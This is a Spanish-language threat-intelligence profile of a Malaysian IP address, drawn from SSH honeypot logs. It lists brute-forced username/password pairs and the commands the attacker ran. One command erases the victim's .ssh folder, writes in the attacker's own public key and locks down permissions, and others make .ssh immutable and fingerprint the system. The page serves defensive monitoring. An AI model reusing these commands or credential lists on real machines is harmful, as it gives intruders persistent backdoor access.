Amenaza ActivaMEDIO

202.184.146.230

Pais de Origen🇲🇾 Malasia
Primera Deteccion17/1/2026
Ultima Actividad17/1/2026
ISPTIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al
🎯
413
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
23
Malware

Geolocalizacion

Pais
🇲🇾 Malasia
Ciudad
Cyberjaya
ASN
AS9930
ISP
TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al

Tipos de Ataque

cowrie

Puertos Atacados

22

Malware Asociado

Credenciales Intentadas

🔐345gs5662d34/345gs5662d34
4x
🔐root/ghbdtnbr
1x
🔐root/Admin!@#456
1x
🔐root/1q2w3e4r5t@123
1x
🔐edu/12345678
1x
🔐root/Asdfghjkl123
1x
🔐rooter/rooter
1x
🔐misha/3245gs5662d34
1x
🔐minecraft/a
1x
🔐root/newpass123
1x
🔐root/root11
1x
🔐talha/talha
1x
🔐esther/esther123
1x
🔐root/q1w2e3r4t5
1x
🔐ftp_id/ftp_pass
1x

Comandos Ejecutados

$cd ~; chattr -ia .ssh; lockr -ia .ssh4x
$ls -lh $(which ls)4x
$cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'4x
$uname4x
$whoami4x
$df -h | head -n 2 | awk 'FNR == 2 {print $2;}'4x
$cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~4x
$lockr -ia .ssh4x
$top4x
$uname -m4x

Evaluacion de Riesgo

55
/100
BajoMedioAltoCritico